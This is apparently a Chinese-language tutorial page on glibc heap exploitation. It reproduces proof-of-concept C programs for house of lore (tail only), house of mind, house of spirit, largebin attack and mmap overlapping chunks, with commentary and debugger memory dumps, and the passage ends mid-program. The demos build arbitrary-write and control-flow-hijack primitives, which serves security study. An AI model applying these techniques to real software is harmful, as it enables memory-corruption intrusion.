fprintf(stderr, "Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\n");
fprintf(stderr, "This means that the chunk %p will be inserted in front of the SmallBin\n", victim);

void *p2 = malloc(1200);
fprintf(stderr, "The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\n", p2);

fprintf(stderr, "The victim chunk has been sorted and its fwd and bk pointers updated\n");
fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

//------------VULNERABILITY-----------

fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");

victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack

//------------------------------------
fprintf(stderr, "Now take all dummies chunk in tcache out\n");
for(int i=0; i<7; i++) malloc(0x100);


fprintf(stderr, "Now allocating a chunk with size equal to the first one freed\n");
fprintf(stderr, "This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\n");

void *p3 = malloc(0x100);

fprintf(stderr, "This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\n");
char *p4 = malloc(0x100);
fprintf(stderr, "p4 = malloc(0x100)\n");

fprintf(stderr, "\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\n",
stack_buffer_2[2]);

fprintf(stderr, "\np4 is %p and should be on the stack!\n", p4); // this chunk will be allocated on stack
intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode

long offset = (long)__builtin_frame_address(0) - (long)p4;
memcpy((p4+offset+8), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary

// sanity check
assert((long)__builtin_return_address(0) == (long)jackpot);
}

漏洞成因

堆溢出、use after freeedit after free

适用范围

  • 2.23—— 至今
  • 需要泄露或已知地址

利用原理

控制 smallbinbk 指针,示例如下:

  • 申请 chunk A、chunk B、chunk C,其中 chunk B 大小位于 smallbin
  • 释放 B,申请更大的 chunk D,使得 B 进入 smallbin
  • A,溢出修改 Bbk,指向地址 X,这里有 fake chunk
  • 布置 X->fd == &B
  • 分配两次后即可取出位于 X 地址处的 fake chunk

相关技巧

在引入了 tcache stash unlink 的时候,需要注意绕过:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;

/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;

tcache_put (tc_victim, tc_idx);
}
}
}
#endif

要么使其满足 tc_victim = last (bin)) == bin、要么使其满足:tcache->counts[tc_idx] ≥ mp_.tcache_count。否则可能会因为非法内存访问使得程序 down 掉。

实际上,这个技巧用得不是很多,因为在同等条件下,更偏向于利用 fastbin/tcachebin

利用效果

  • 任意地址分配
  • 任意地址读写

house of mind

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#include <assert.h>

/*

House of Mind - Fastbin Variant
==========================

This attack is similar to the original 'House of Mind' in that it uses
a fake non-main arena in order to write to a new location. This
uses the fastbin for a WRITE-WHERE primitive in the 'fastbin'
variant of the original attack though. The original write for this
can be found at https://dl.packetstormsecurity.net/papers/attack/MallocMaleficarum.txt with a more recent post (by me) at https://maxwelldulin.com/BlogPost?post=2257705984.

By being able to allocate an arbitrary amount of chunks, a single byte
overwrite on a chunk size and a memory leak, we can control a super
powerful primitive.

This could be used in order to write a freed pointer to an arbitrary
location (which seems more useful). Or, this could be used as a
write-large-value-WHERE primitive (similar to unsortedbin attack).
Both are interesting in their own right though but the first
option is the most powerful primitive, given the right setting.

Malloc chunks have a specified size and this size information
special metadata properties (prev_inuse, mmap chunk and non-main arena).
The usage of non-main arenas is the focus of this exploit. For more information
on this, read https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/.

First, we need to understand HOW the non-main arena is known from a chunk.

This the 'heap_info' struct:

struct _heap_info
{
mstate ar_ptr; // Arena for this heap. <--- Malloc State pointer
struct _heap_info *prev; // Previous heap.
size_t size; // Current size in bytes.
size_t mprotect_size; // Size in bytes that has been mprotected
char pad[-6 * SIZE_SZ & MALLOC_ALIGN_MASK]; // Proper alignment
} heap_info;
- https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/arena.c#L48

The important thing to note is that the 'malloc_state' within
an arena is grabbed from the ar_ptr, which is the FIRST entry
of this. Malloc_state == mstate == arena

The main arena has a special pointer. However, non-main arenas (mstate)
are at the beginning of a heap section. They are grabbed with the
following code below, where the user controls the 'ptr' in 'arena_for_chunk':

#define heap_for_ptr(ptr) \
((heap_info *) ((unsigned long) (ptr) & ~(HEAP_MAX_SIZE - 1)))
#define arena_for_chunk(ptr) \
(chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena)
- https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/arena.c#L127

This macro takes the 'ptr' and subtracts a large value because the
'heap_info' should be at the beginning of this heap section. Then,
using this, it can find the 'arena' to use.

The idea behind the attack is to use a fake arena to write pointers
to locations where they should not go but abusing the 'arena_for_chunk'
functionality when freeing a fastbin chunk.

This POC does the following things:
- Finds a valid arena location for a non-main arena.
- Allocates enough heap chunks to get to the non-main arena location where
we can control the values of the arena data.
- Creates a fake 'heap_info' in order to specify the 'ar_ptr' to be used as the arena later.
- Using this fake arena (ar_ptr), we can use the fastbin to write
to an unexpected location of the 'ar_ptr' with a heap pointer.

Requirements:
- A heap leak in order to know where the fake 'heap_info' is located at.
- Could be possible to avoid with special spraying techniques
- An unlimited amount of allocations
- A single byte overflow on the size of a chunk
- NEEDS to be possible to put into the fastbin.
- So, either NO tcache or the tcache needs to be filled.
- The location of the malloc state(ar_ptr) needs to have a value larger
than the fastbin size being freed at malloc_state.system_mem otherwise
the chunk will be assumed to be invalid.
- This can be manually inserted or CAREFULLY done by lining up
values in a proper way.
- The NEXT chunk, from the one that is being freed, must be a valid size
(again, greater than 0x20 and less than malloc_state.system_mem)


Random perks:
- Can be done MULTIPLE times at the location, with different sized fastbin
chunks.
- Does not brick malloc, unlike the unsorted bin attack.
- Only has three requirements: Infinite allocations, single byte buffer overflowand a heap memory leak.



************************************
Written up by Maxwell Dulin (Strikeout)
************************************
*/

int main(){

printf("House of Mind - Fastbin Variant\n");
puts("==================================");
printf("The goal of this technique is to create a fake arena\n");
printf("at an offset of HEAP_MAX_SIZE\n");

printf("Then, we write to the fastbins when the chunk is freed\n");
printf("This creates a somewhat constrained WRITE-WHERE primitive\n");
// Values for the allocation information.
int HEAP_MAX_SIZE = 0x4000000;
int MAX_SIZE = (128*1024) - 0x100; // MMap threshold: https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L635

printf("Find initial location of the heap\n");
// The target location of our attack and the fake arena to use
uint8_t* fake_arena = malloc(0x1000);
uint8_t* target_loc = fake_arena + 0x30;

uint8_t* target_chunk = (uint8_t*) fake_arena - 0x10;

/*
Prepare a valid 'malloc_state' (arena) 'system_mem'
to store a fastbin. This is important because the size
of a chunk is validated for being too small or too large
via the 'system_mem' of the 'malloc_state'. This just needs
to be a value larger than our fastbin chunk.
*/
printf("Set 'system_mem' (offset 0x888) for fake arena\n");
fake_arena[0x888] = 0xFF;
fake_arena[0x889] = 0xFF;
fake_arena[0x88a] = 0xFF;

printf("Target Memory Address for overwrite: %p\n", target_loc);
printf("Must set data at HEAP_MAX_SIZE (0x%x) offset\n", HEAP_MAX_SIZE);

// Calculate the location of our fake arena
uint64_t new_arena_value = (((uint64_t) target_chunk) + HEAP_MAX_SIZE) & ~(HEAP_MAX_SIZE - 1);
uint64_t* fake_heap_info = (uint64_t*) new_arena_value;

uint64_t* user_mem = malloc(MAX_SIZE);
printf("Fake Heap Info struct location: %p\n", fake_heap_info);
printf("Allocate until we reach a MAX_HEAP_SIZE offset\n");

/*
The fake arena must be at a particular offset on the heap.
So, we allocate a bunch of chunks until our next chunk
will be in the arena. This value was calculated above.
*/
while((long long)user_mem < new_arena_value){
user_mem = malloc(MAX_SIZE);
}

// Use this later to trigger craziness
printf("Create fastbin sized chunk to be victim of attack\n");
uint64_t* fastbin_chunk = malloc(0x50); // Size of 0x60
uint64_t* chunk_ptr = fastbin_chunk - 2; // Point to chunk instead of mem
printf("Fastbin Chunk to overwrite: %p\n", fastbin_chunk);

printf("Fill up the TCache so that the fastbin will be used\n");
// Fill the tcache to make the fastbin to be used later.
uint64_t* tcache_chunks[7];
for(int i = 0; i < 7; i++){
tcache_chunks[i] = malloc(0x50);
}
for(int i = 0; i < 7; i++){
free(tcache_chunks[i]);
}


/*
Create a FAKE malloc_state pointer for the heap_state
This is the 'ar_ptr' of the 'heap_info' struct shown above.
This is the first entry in the 'heap_info' struct at offset 0x0
at the heap.

We set this to the location where we want to write a value to.
The location that gets written to depends on the fastbin chunk
size being freed. This will be between an offset of 0x8 and 0x40
bytes. For instance, a chunk with a size of 0x20 would be in the
0th index of fastbinsY struct. When this is written to, we will
write to an offset of 8 from the original value written.
- https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L1686
*/
printf("Setting 'ar_ptr' (our fake arena) in heap_info struct to %p\n", fake_arena);
fake_heap_info[0] = (uint64_t) fake_arena; // Setting the fake ar_ptr (arena)
printf("Target Write at %p prior to exploitation: 0x%x\n", target_loc, *(target_loc));

/*
Set the non-main arena bit on the size.
Additionally, we keep the size the same as the original
allocation because there is a sanity check on the fastbin (when freeing)
that the next chunk has a valid size.

When grabbing the non-main arena, it will use our choosen arena!
From there, it will write to the fastbin because of the size of the
chunk.

///// Vulnerability! Overwriting the chunk size
*/
printf("Set non-main arena bit on the fastbin chunk\n");
puts("NOTE: This keeps the next chunk size valid because the actual chunk size was never changed\n");
chunk_ptr[1] = 0x60 | 0x4; // Setting the non-main arena bit

//// End vulnerability

/*
The offset being written to with the fastbin chunk address
depends on the fastbin BEING used and the malloc_state itself.
In 2.31, the offset from the beginning of the malloc_state
to the fastbinsY array is 0x10. Then, fastbinsY[0x4] is an
additional byte offset of 0x20. In total, the writing offset
from the arena location is 0x30 bytes.
from the arena location to where the write actually occurs.
This is a similar concept to bk - 0x10 from the unsorted
bin attack.
*/

printf("When we free the fastbin chunk with the non-main arena bit\n");
printf("set, it will cause our fake 'heap_info' struct to be used.\n");
printf("This will dereference our fake arena location and write\n");
printf("the address of the heap to an offset of the arena pointer.\n");

printf("Trigger the magic by freeing the chunk!\n");
free(fastbin_chunk); // Trigger the madness

// For this particular fastbin chunk size, the offset is 0x28.
printf("Target Write at %p: 0x%llx\n", target_loc, *((unsigned long long*) (target_loc)));
assert(*((unsigned long *) (target_loc)) != 0);
}

漏洞成因

堆溢出

适用范围

  • 2.23—— 至今
  • 可以分配任意大小的 chunk

利用原理

主要利用的是:

1
2
3
4
#define heap_for_ptr(ptr) \
((heap_info *) ((unsigned long) (ptr) & ~(HEAP_MAX_SIZE - 1)))
#define arena_for_chunk(ptr) \
(chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena)

如果是 non-mainareanchunk,会根据其地址找到 heapinfo,然后找到 malloc_state 结构体。

因此,利用技巧是:

  • 根据要释放的 fastbin chunk A 的堆地址,找到对应的 heap_for_ptr 地址
  • heapinfo 地址处伪造好相关变量,重点是 mstate 指针
  • 修改 chunk Anon-main 标志位,释放到伪造的 arena 里面,控制好偏移即可

相关技巧

  • 一般来说,可以分配任意大小的 chunk,还能堆溢出,很多技巧都能用
  • 这个技巧是希望大家关注对于 arena 的攻击
  • 甚至可以直接修改 thread_arena 这个变量

利用效果

  • 任意地址写堆地址

house of spirit

效果:劫持 fastbin/tcachebinfd 之后,可以任意地址分配、任意地址读写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
setbuf(stdout, NULL);

puts("This file demonstrates the house of spirit attack.");
puts("This attack adds a non-heap pointer into fastbin, thus leading to (nearly) arbitrary write.");
puts("Required primitives: known target address, ability to set up the start/end of the target memory");

puts("\nStep 1: Allocate 7 chunks and free them to fill up tcache");
void *chunks[7];
for(int i=0; i<7; i++) {
chunks[i] = malloc(0x30);
}
for(int i=0; i<7; i++) {
free(chunks[i]);
}

puts("\nStep 2: Prepare the fake chunk");
// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
long fake_chunks[10] __attribute__ ((aligned (0x10)));
printf("The target fake chunk is at %p\n", fake_chunks);
printf("It contains two chunks. The first starts at %p and the second at %p.\n", &fake_chunks[1], &fake_chunks[9]);
printf("This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
puts("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end.");
printf("Now set the size of the chunk (%p) to 0x40 so malloc will think it is a valid chunk.\n", &fake_chunks[1]);
fake_chunks[1] = 0x40; // this is the size

printf("The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");
printf("Set the size of the chunk (%p) to 0x1234 so freeing the first chunk can succeed.\n", &fake_chunks[9]);
fake_chunks[9] = 0x1234; // nextsize

puts("\nStep 3: Free the first fake chunk");
puts("Note that the address of the fake chunk must be 16-byte aligned.\n");
void *victim = &fake_chunks[2];
free(victim);

puts("\nStep 4: Take out the fake chunk");
printf("Now the next calloc will return our fake chunk at %p!\n", &fake_chunks[2]);
printf("malloc can do the trick as well, you just need to do it for 8 times.");
void *allocated = calloc(1, 0x30);
printf("malloc(0x30): %p, fake chunk: %p\n", allocated, victim);

assert(allocated == victim);
}

漏洞成因

堆溢出写

适用范围

  • 2.23—— 至今

利用原理

利用堆溢出,修改 chunk size,伪造出 fake chunk,然后通过堆的释放和排布,控制 fake chunkhouse of spirit 的操作思路有很多,比如可以按如下操作进行利用:

  • 申请 chunk A、chunk B、chunk C、chunk D
  • A 写操作的时候溢出,修改 Bsize 域,使其能包括 chunk C
  • 释放 B,然后把 B 申请回来,再释放 C,则可以通过读写 B 来控制 C 的内容

相关技巧

起初 house of spirit 主要是针对 fastbin,后来引入了 tcachebin 后,也可以使用 tcachebin 版本的 house of spirit。利用方法与 fastbin 场景下类似,注意好不同版本下的检查条件即可。

利用效果

  • 劫持 fastbin/tcachebinfd 之后,可以任意地址分配、任意地址读写

largebin_attack

效果:对任意地址写入一个堆地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
#include<stdio.h>
#include<stdlib.h>
#include<assert.h>

/*

A revisit to large bin attack for after glibc2.30

Relevant code snippet (有关代码片段):

if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}


*/

int main(){
/*Disable IO buffering to prevent stream from interfering with heap*/
setvbuf(stdin,NULL,_IONBF,0);
setvbuf(stdout,NULL,_IONBF,0);
setvbuf(stderr,NULL,_IONBF,0);

printf("\n\n");
printf("Since glibc2.30, two new checks have been enforced(zhi'x) on large bin chunk insertion\n\n");
printf("Check 1 : \n");
printf("> if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))\n");
printf("> malloc_printerr (\"malloc(): largebin double linked list corrupted (nextsize)\");\n");
printf("Check 2 : \n");
printf("> if (bck->fd != fwd)\n");
printf("> malloc_printerr (\"malloc(): largebin double linked list corrupted (bk)\");\n\n");
printf("This prevents the traditional large bin attack\n");
printf("However, there is still one possible path to trigger large bin attack. The PoC is shown below : \n\n");

printf("====================================================================\n\n");

size_t target = 0;
printf("Here is the target we want to overwrite (%p) : %lu\n\n",&target,target);
size_t *p1 = malloc(0x428);
printf("First, we allocate a large chunk [p1] (%p)\n",p1-2);
size_t *g1 = malloc(0x18);
printf("And another chunk to prevent consolidate\n");

printf("\n");

size_t *p2 = malloc(0x418);
printf("We also allocate a second large chunk [p2] (%p).\n",p2-2);
printf("This chunk should be smaller than [p1] and belong to the same large bin.\n");
size_t *g2 = malloc(0x18);
printf("Once again, allocate a guard chunk to prevent consolidate\n");

printf("\n");

free(p1);
printf("Free the larger of the two --> [p1] (%p)\n",p1-2);
size_t *g3 = malloc(0x438);
printf("Allocate a chunk larger than [p1] to insert [p1] into large bin\n");

printf("\n");

free(p2);
printf("Free the smaller of the two --> [p2] (%p)\n",p2-2);
printf("At this point, we have one chunk in large bin [p1] (%p),\n",p1-2);
printf(" and one chunk in unsorted bin [p2] (%p)\n",p2-2);

printf("\n");

p1[3] = (size_t)((&target)-4);
printf("Now modify the p1->bk_nextsize to [target-0x20] (%p)\n",(&target)-4);

printf("\n");

size_t *g4 = malloc(0x438);
printf("Finally, allocate another chunk larger than [p2] (%p) to place [p2] (%p) into large bin\n", p2-2, p2-2);
printf("Since glibc does not check chunk->bk_nextsize if the new inserted chunk is smaller than smallest,\n");
printf(" the modified p1->bk_nextsize does not trigger any error\n");
printf("Upon inserting [p2] (%p) into largebin, [p1](%p)->bk_nextsize->fd_nextsize is overwritten to address of [p2] (%p)\n", p2-2, p1-2, p2-2);

printf("\n");

printf("In our case here, target is now overwritten to address of [p2] (%p), [target] (%p)\n", p2-2, (void *)target);
printf("Target (%p) : %p\n",&target,(size_t*)target);

printf("\n");
printf("====================================================================\n\n");

assert((size_t)(p2-2) == target);

return 0;
}

新版largebin_attack利用的源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/* maintain large bins in sorted order */
if (fwd != bck)
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert (chunk_main_arena (bck->bk));
if ((unsigned long) (size)
< (unsigned long) chunksize_nomask (bck->bk))
{
fwd = bck;
bck = bck->bk;
//将victim链入nextsize链表
victim->fd_nextsize = fwd->fd;//设置 victim 的 fd_nextsize,为p2 headptr
victim->bk_nextsize = fwd->fd->bk_nextsize;
//设置 victim 的bk_nextsize,为p2 headptr
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
//设置 p1 的fd_nextsize 和 bk_nextsize
/*引用到原代码中,示例如下:*/
&p2->fd_nextsize = &p1->fd;
&p2->bk_nextsize = &p1->fd->bk_nextsize;
&p1->fd->bk_nextsize = &p2->bk_nextsize->fd_nextsize = &p2;

首先是程序申请了4个堆块分别为0x428、0x18、0x418、0x18

申请的g1和g2是为了防止两个比较大的堆块合并.

再往后释放了p1堆块,到unsorted bin中

之后有分配了一个比p1大的堆块使得p1堆块能够进入largebin中

改 p1->bk_nextsize 为target-0x20

然后程序free p2堆块进入到unsorted bin中

此时就造成了unsortedbin中有一个largebinchunk,再次分配一个比bins中都大的chunk时p2会被放入largebin,触发漏洞
调试:

&target = 0x7fffffffe470

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pwndbg> bins
tcachebins
empty
fastbins
empty
unsortedbin
empty
smallbins
empty
largebins
0x400-0x430: 0x555555559290 —▸ 0x7ffff7fbbfd0 (main_arena+1104) ◂— 0x555555559290
pwndbg> x/10gx 0x5555555596e0 # p2
0x5555555596e0: 0x0000000000000000 0x0000000000000421
0x5555555596f0: 0x00007ffff7fbbbe0 0x00007ffff7fbbbe0
0x555555559700: 0x0000000000000000 0x0000000000000000
0x555555559710: 0x0000000000000000 0x0000000000000000
0x555555559720: 0x0000000000000000 0x0000000000000000
pwndbg> x/10gx 0x555555559290 # p1
0x555555559290: 0x0000000000000000 0x0000000000000431
0x5555555592a0: 0x00007ffff7fbbfd0 0x00007ffff7fbbfd0
0x5555555592b0: 0x0000555555559290 0x00007fffffffe450
0x5555555592c0: 0x0000000000000000 0x0000000000000000
0x5555555592d0: 0x0000000000000000 0x0000000000000000
pwndbg>

执行过victim->fd_nextsize = fwd->fd;后 p2

1
2
3
4
5
pwndbg> x/10gx 0x5555555596e0
0x5555555596e0: 0x0000000000000000 0x0000000000000421
0x5555555596f0: 0x00007ffff7fbbbe0 0x00007ffff7fbbbe0
0x555555559700: 0x0000555555559290 0x0000000000000000
0x555555559710: 0x0000000000000000 0x0000000000000000

执行过victim->bk_nextsize = fwd->fd->bk_nextsize;后 p2

这里可以注意到:fwd->fd 是 0x0000555555559290,即fwd是p1的mem指针,victim是p2的head指针

1
2
3
4
5
pwndbg> x/10gx 0x5555555596e0
0x5555555596e0: 0x0000000000000000 0x0000000000000421
0x5555555596f0: 0x00007ffff7fbbbe0 0x00007ffff7fbbbe0
0x555555559700: 0x0000555555559290 0x00007fffffffe450
0x555555559710: 0x0000000000000000 0x0000000000000000

执行过&p1->fd->bk_nextsize = &p2->bk_nextsize->fd_nextsize = &p2;后target就被写入了 p2 的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pwndbg> x/10gx 0x5555555596e0
0x5555555596e0: 0x0000000000000000 0x0000000000000421
0x5555555596f0: 0x00007ffff7fbbbe0 0x00007ffff7fbbbe0
0x555555559700: 0x0000555555559290 0x00007fffffffe450
0x555555559710: 0x0000000000000000 0x0000000000000000
0x555555559720: 0x0000000000000000 0x0000000000000000
pwndbg> x/10gx 0x555555559290
0x555555559290: 0x0000000000000000 0x0000000000000431
0x5555555592a0: 0x00007ffff7fbbfd0 0x00007ffff7fbbfd0
0x5555555592b0: 0x0000555555559290 0x00005555555596e0
0x5555555592c0: 0x0000000000000000 0x0000000000000000
0x5555555592d0: 0x0000000000000000 0x0000000000000000
pwndbg> x/10gx 0x7fffffffe470-0x20
0x7fffffffe450: 0x0000555555555610 0x00007fffffffe4b0
0x7fffffffe460: 0x0000555555555140 0x00005555555554e7
0x7fffffffe470: 0x00005555555596e0<--target 0x00005555555592a0
0x7fffffffe480: 0x00005555555596d0 0x00005555555596f0
0x7fffffffe490: 0x0000555555559b10 0x0000555555559b30

其实,这三行置零最重要的是最后一行的(target-0x20)->fd_nextsize = victim这就相当于在(target-0x20)+0x20也就是target的地方写下victim也就是p2的地址

利用:

这种写大数的行为,我们可以用来修改global_max_fast,来使程序中分配的堆块都被识别成fastbin,这样来进行一些可以实现的fastbin attack。再恶劣一点的环境来说,我们可以利用其来进行指针的劫持,劫持为我们可控的地方,在可控的地方为造出原本应有的结构体产生劫持程序流的效果(iofile_attack:你直接说我名字得了)。

漏洞成因

适用范围

  • 2.23—— 至今

利用原理

相关技巧

利用效果

mmap_overlapping_chunks

malloc的内存通过vmmap可以查看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
#include <stdlib.h>
#include <stdio.h>
#include <assert.h>
#include <unistd.h>

/*
技术应适用于所有版本的 GLibC
编译命令:`gcc mmap_overlapping_chunks.c -o mmap_overlapping_chunks -g`

POC 由 Maxwell Dulin(Strikeout)编写
*/
int main()
{
/*
关于 GLibC 中的 Mmap 块的简介
==================================
在 GLibC 中,存在一个点,当分配的内存块过大时,malloc 决定需要为其分配一个单独的内存区域,而不是在正常堆上分配。这是由 mmap_threshold 变量决定的。
此时,使用系统调用 *Mmap* 来分配一段虚拟内存并返回给用户。

类似地,释放过程也会有所不同。释放的块不会被返回给一个 bin 或堆的其余部分,而是使用另一个系统调用:*Munmap*。这个调用接受一个指向之前分配的 Mmap 块的指针,并将其释放回内核。

Mmap 块在大小元数据上设置了特殊的位:第二位。如果该位被设置,则表示该块是作为 Mmap 块分配的。

Mmap 块有 prev_size 和 size。*size* 表示块的当前大小。块的 *prev_size* 表示 Mmap 块的剩余空间(不是直接下方块的大小)。
然而,fd 和 bk 指针并未使用,因为 Mmap 块不会回到 bins 中,正如 GLibC Malloc 中的大多数堆块一样。释放时,块的大小必须按照页面对齐。

下面的 POC 实际上是对 mmap 块的重叠块攻击。这与 https://github.com/shellphish/how2heap/blob/master/glibc_2.26/overlapping_chunks.c 非常相似。
主要区别在于 mmapped 块具有特殊的属性,并以不同的方式处理,导致与正常重叠块攻击不同的攻击场景。
还可以执行其他操作,例如 munmapping 系统库、堆本身等。
这只是一个简单的概念验证,旨在演示对 mmap 块进行攻击的一般方式。

有关 GLibC 中 mmap 块的更多信息,请阅读这篇文章:
http://tukan.farm/2016/07/27/munmap-madness/
*/


int* ptr1 = malloc(0x10);

printf("This is performing an overlapping chunk attack but on extremely large chunks (mmap chunks).\n");
printf("Extremely large chunks are special because they are allocated in their own mmaped section\n");
printf("of memory, instead of being put onto the normal heap.\n");
puts("=======================================================\n");
printf("Allocating three extremely large heap chunks of size 0x100000 \n\n");

long long* top_ptr = malloc(0x100000);
printf("The first mmap chunk goes directly above LibC: %p\n",top_ptr);

// After this, all chunks are allocated downwards in memory towards the heap.
long long* mmap_chunk_2 = malloc(0x100000);
printf("The second mmap chunk goes below LibC: %p\n", mmap_chunk_2);

long long* mmap_chunk_3 = malloc(0x100000);
printf("The third mmap chunk goes below the second mmap chunk: %p\n", mmap_chunk_3);

printf("\nCurrent System Memory Layout \n" \
"================================================\n" \
"running program\n" \
"heap\n" \
"....\n" \
"third mmap chunk\n" \
"second mmap chunk\n" \
"LibC\n" \
"....\n" \
"ld\n" \
"first mmap chunk\n"
"===============================================\n\n" \
);

printf("Prev Size of third mmap chunk: 0x%llx\n", mmap_chunk_3[-2]);
printf("Size of third mmap chunk: 0x%llx\n\n", mmap_chunk_3[-1]);

printf("Change the size of the third mmap chunk to overlap with the second mmap chunk\n");
printf("This will cause both chunks to be Munmapped and given back to the system\n");
printf("This is where the vulnerability occurs; corrupting the size or prev_size of a chunk\n");

// Vulnerability!!! This could be triggered by an improper index or a buffer overflow from a chunk further below.
// Additionally, this same attack can be used with the prev_size instead of the size.
mmap_chunk_3[-1] = (0xFFFFFFFFFD & mmap_chunk_3[-1]) + (0xFFFFFFFFFD & mmap_chunk_2[-1]) | 2;
printf("New size of third mmap chunk: 0x%llx\n", mmap_chunk_3[-1]);
printf("Free the third mmap chunk, which munmaps the second and third chunks\n\n");

/*
This next call to free is actually just going to call munmap on the pointer we are passing it.
The source code for this can be found at https://elixir.bootlin.com/glibc/glibc-2.26/source/malloc/malloc.c#L2845

With normal frees the data is still writable and readable (which creates a use after free on
the chunk). However, when a chunk is munmapped, the memory is given back to the kernel. If this
data is read or written to, the program crashes.

Because of this added restriction, the main goal is to get the memory back from the system
to have two pointers assigned to the same location.
*/
// Munmaps both the second and third pointers
free(mmap_chunk_3);

/*
Would crash, if on the following:
mmap_chunk_2[0] = 0xdeadbeef;
This is because the memory would not be allocated to the current program.
*/

/*
Allocate a very large chunk with malloc. This needs to be larger than
the previously freed chunk because the mmapthreshold has increased to 0x202000.
If the allocation is not larger than the size of the largest freed mmap
chunk then the allocation will happen in the normal section of heap memory.
*/
printf("Get a very large chunk from malloc to get mmapped chunk\n");
printf("This should overlap over the previously munmapped/freed chunks\n");
long long* overlapping_chunk = malloc(0x300000);
printf("Overlapped chunk Ptr: %p\n", overlapping_chunk);
printf("Overlapped chunk Ptr Size: 0x%llx\n", overlapping_chunk[-1]);

// Gets the distance between the two pointers.
int distance = mmap_chunk_2 - overlapping_chunk;
printf("Distance between new chunk and the second mmap chunk (which was munmapped): 0x%x\n", distance);
printf("Value of index 0 of mmap chunk 2 prior to write: %llx\n", mmap_chunk_2[0]);

// Set the value of the overlapped chunk.
